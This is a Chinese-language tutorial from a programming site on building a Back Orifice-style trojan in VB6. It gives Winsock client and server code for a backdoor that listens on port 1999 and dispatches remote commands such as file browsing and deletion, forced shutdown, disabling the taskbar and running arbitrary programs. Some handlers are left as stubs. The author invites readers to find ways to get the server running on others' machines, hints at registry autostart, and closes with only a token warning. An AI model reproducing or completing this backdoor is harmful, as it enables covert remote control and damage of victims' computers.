程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> Visual Basic語言 >> VB綜合教程 >> 淺談用VB6.0編寫BO程序

淺談用VB6.0編寫BO程序

編輯:VB綜合教程
BO又稱“特洛伊木馬”,是在美國一次黑客技術討論會上由一個黑客組織推出的。它其實是一種客戶機/服務器程序,其利用的原理就是:在本機直接啟動運行的程序擁有與使用者相同的權限。因此如果能夠啟動服務器端(即被攻擊的計算機)的服務器程序,就可以使用相應的客戶端工具客戶程序直接控制它了。下面來談談如何用VB來實現它。
  ----使用VB建立兩個程序,一個為客戶端程序Client,一個為服務器端程序systry。
  
  ----在Client工程中建立一個窗體,加載WinSock控件,稱為tcpClient,協議選擇TCP,再加入兩個文本框,用以輸入服務器的IP地址或服務器名,然後建立一個按鈕,按下之後就可以對連接進行初始化了,代碼如下:
  
  PrivateSubcmdConnect_Click()
  IfLen(Text1.Text)=0AndLen(Text2.Text)=0Then
  MsgBox("請輸入主機名或主機IP地址。")
  ExitSub
  Else
  IfLen(Text1.Text)>0Then
  tcpClient.RemoteHost=Text1.Text
  Else
  tcpClient.RemoteHost=Text2.Text
  EndIf
  EndIf
  tcpClient.Connect
  Timer1.Enabled=True
  EndSub
  
  
  ----連接建立之後就可以使用DataArrival事件處理所收到的數據了。
  ----在服務器端systry工程也建立一個窗體,加載WinSock控件,稱為tcpServer,協議選擇TCP,在Form_Load事件中加入如下代碼:
  
  PrivateSubForm_Load()
  tcpServer.LocalPort=1999
  tcpServer.Listen
  EndSub
  
  
  ----准備應答客戶端程序的請求連接,使用ConnectionRequest事件來應答戶端程序的請求,代碼如下:
  PrivateSubtcpServer_ConnectionRequest
  (ByValrequestIDAsLong)
  IftcpServer.State<>sckClosedThen
  tcpServer.Close‘檢查控件的State屬性是否為關閉的。
  EndIf'如果不是,在接受新的連接之前先關閉此連接。
  tcpServer.AcceptrequestID
  EndSub
  
  
  
  ----這樣在客戶端程序按下了連接按鈕後,服務器端程序的ConnectionRequest事件被觸發,執行了以上的代碼。如果不出意外,連接就被建立起來了。
  ----建立連接後服務器端的程序通過DataArrival事件接收客戶機端程序所發的指令運行既定的程序。如:把服務器端的驅動器名、目錄名、文件名等傳到客戶機端,客戶機端接收後用TreeView控件以樹狀的形式顯示出來,浏覽服務器端文件目錄;強制關閉或重啟服務器端的計算機;屏蔽任務欄窗口;屏蔽開始菜單;按照客戶機端傳過來的文件名或目錄名,而刪除它;屏蔽熱啟動鍵;運行服務器端的任何程序;還包括獲取目標計算機屏幕圖象、窗口及進程列表;激活、終止遠端進程;打開、關閉、移動遠端窗口;控制目標計算機鼠標的移動與動作;交換遠端鼠標的左右鍵;在目標計算機模擬鍵盤輸入,下載、上裝文件;提取、創建、修改目標計算機系統注冊表關鍵字;在遠端屏幕上顯示消息。DataArrival事件程序如下:
  
  PrivateSubtcpServer_DataArrival
  (ByValbytesTotalAsLong)
  DimstrDataAsString
  DimIAsLong
  DimmKeyAsString
  tcpServer.GetDatastrData
  ‘接收數據並存入strData
  ForI=1ToLen(strData)
  ‘分離strData中的命令
  IfMid(strData,I,1)="@"Then
  mKey=Left(strData,I-1)
  ‘把命令ID號存入mKey
  
  ‘把命令參數存入strData
  strData=Right(strData,Len(strData)-I)
  ExitFor
  EndIf
  NextI
  SelectCaseVal(mKey)
  Case1
  ‘驅動器名、目錄名、文件名
  Case2
  強制關閉服務器端的計算機
  Case3
  強制重啟服務器端的計算機
  Case4
  屏蔽任務欄窗口;
  Case5
  屏蔽開始菜單;
  Case6
  按照客戶機端傳過來的文件名或目錄名,而刪除它;
  Case7
  屏蔽熱啟動鍵;
  Case8
  運行服務器端的任何程序
  EndSelect
  EndSub
  詳細程序略。
  
  ----客戶機端用tcpClient.SendData發命令。命令包括命令ID和命令參數,它們用符號“@”隔開。
  ----另外,當客戶機端斷開與服務器端的來接後,服務器端應用tcpServer_Close事件,來繼續准備接收客戶機端的請求,其代碼如下:
  
  PrivateSubtcpServer_Close()
  tcpServer.Close
  tcpServer.Listen
  EndSub
  
  ----這就是一個最基本的特洛伊木馬程序,只要你的機器運行了服務器端程序,那別人就可以在千裡之外控制你的計算機。至於如何讓服務器端程序運行就要發揮你的聰明才智了,在我的源程序中有一中方法,是修改系統注冊表的方法。
  ----成功的特洛伊木馬程序要比這個復雜一些,還有程序的隱藏、自動復制、傳播等問題要解決。警告:千萬不要用BO程序破壞別人的系統。->

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved